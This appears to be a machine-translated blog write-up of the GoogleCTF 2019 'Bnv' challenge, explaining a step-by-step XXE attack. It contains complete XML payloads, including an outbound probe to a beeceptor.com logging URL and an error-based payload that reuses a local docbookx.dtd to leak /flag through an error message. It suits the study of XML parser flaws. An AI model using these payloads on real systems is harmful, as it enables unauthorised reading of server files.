当前位置:网站首页>[GoogleCTF2019 Quals]Bnv -S
[GoogleCTF2019 Quals]Bnv -S
2022-06-10 00:52:00 【nigo134】
Examination site : adopt xml The path of the parameter entity of is wrong to read sensitive information
Knowledge point 1: Reference resources

This article enumerates files , We found that different systems may contain dtd file .
for example linux Possible /usr/share/yelp/dtd/docbookx.dtd
And it's time to dtd There is a reference to ISOamsa Parameter entity , So we can define ISOamsa The content of .
Problem. :
1. Turn on bp, Click on submit Grab the bag .


2. Found through json Format transfer message Parameters , Try using... Here xml Format transfer data , If you can , You can consider using it xxe The attack .
structure xml:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
<!ELEMENT message ANY >
<!ENTITY test "135601360123502401401250">
]>
<message>&test;</message> 
The server successfully parsed , Next, let's see if we can connect to the Internet :
test xml:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
<!ELEMENT message ANY >
<!ENTITY test "135601360123502401401250">
<!ENTITY % a SYSTEM "https://bbbbb.free.beeceptor.com">
%a;
]>
<message>&test;</message>

'https://bbbbb.free.beeceptor.com' Is in Beeceptor A domain name for testing obtained on , Access logs can be recorded . stay Beeceptor No connected logs were found on , Therefore, it is unable to connect to the external network . It's impossible to get through http The protocol brings out the read information .
The test references locally existing files :
The test references a file that does not exist locally :

You can see that the results returned are different , Returns... When the file exists internal error, This feature can be used to test flag Storage location of , When referencing file:///flag When to return to internal error, therefore flag In the root directory .
The next step is to read flag,flag have access to file Protocol read , But because the page has no echo and can not communicate with others , We can't see what is being read , The next step is to solve the problem of how to display the read content .
Notice that the wrong path is returned when the path is wrong , It reminds me of sql Error injection of , If you put file Information read by the protocol
Whether it can be spliced into the path can be displayed through an error message ?
give paylaod:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
<!ELEMENT message ANY >
<!ENTITY m "135601360123502401401250">
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa '
<!ENTITY % flag SYSTEM "file:///flag">
<!ENTITY % getflag "<!ENTITY % test SYSTEM 'file:///%flag;'>">
'>
%local_dtd;%getflag;%test;
]>
<message>&m;</message>In entity %,' ,& Conduct unicode Code to prevent error :
% => % ' => ' & => &
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
<!ELEMENT message ANY >
<!ENTITY m "135601360123502401401250">
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa '
<!ENTITY % flag SYSTEM "file:///flag">
<!ENTITY % getflag "<!ENTITY &#37; test SYSTEM 'file:///%flag;'>">
'>
%local_dtd;%getflag;%test;
]>
<message>&m;</message>%local_dtd;%getflag;%test; Analytic process :
1. The initial state
<!ENTITY % ISOamsa '
<!ENTITY % flag SYSTEM "file:///flag">
<!ENTITY % getflag "<!ENTITY &#37; test SYSTEM 'file:///%flag;'>">
'>
%local_dtd;%getflag;%test;
2. analysis %local_dtd;
<!ENTITY % flag SYSTEM "file:///flag">
<!ENTITY % getflag "<!ENTITY %#37; test SYSTEM 'file:///%flag;'>">
%getflag;%test;
3. analysis %getflag;
<!ENTITY % flag SYSTEM "file:///flag">
<!ENTITY % test SYSTEM 'file:///%flag;'>
%test;
4. analysis %test;
here flag Will be spliced into test In the path of , And read the path , Then there is the error report , We can see from the error reporting path flag
边栏推荐
- Sword finger offer II 012 The sum of left and right subarrays is equal
- IDC fait autorité pour prédire que l'industrie manufacturière chinoise est sur le point de monter dans le nuage
- 上位机开发——Modbus到底有多快
- 余压监控系统在某高层住宅的应用方案
- Application of DFS and BFS in binary tree
- 浅谈Cookie 和 Session——含案例及详细注解
- Disorder of flinksql
- rip實驗
- 剑指 Offer II 010. 和为 k 的子数组
- Go profile management -viper
猜你喜欢
随机推荐
Palindromes of past real questions of test questions date [11th session] [provincial competition] [group B]
Wyn enterprise, an embedded business intelligence software, has officially entered the V5.0 era!
rip实验
OSPF实验
CSV files of fer2013 are converted to Imagenet format (saved in folders of their respective categories in image format)
MySQL execution plan
试题 历届真题 回文日期【第十一届】【省赛】【B组】
1049 robber Ah Fu
if判断是否为空时的函数选择
CloudCompare&PCL 主曲率、平均曲率以及高斯曲率计算
PCI BAR寄存器详解(一)
flutter pub get failed (66; Could not find a file named “pubspec.yaml“
Solution to C language problem of adding two numbers by force deduction
余压监控系统在某高层住宅的应用方案
Rip experiment
力扣 旋转字符串 C语言 题解
mpls vpn
最低通行费
Minimum toll
剑指 Offer II 020. 回文子字符串的个数






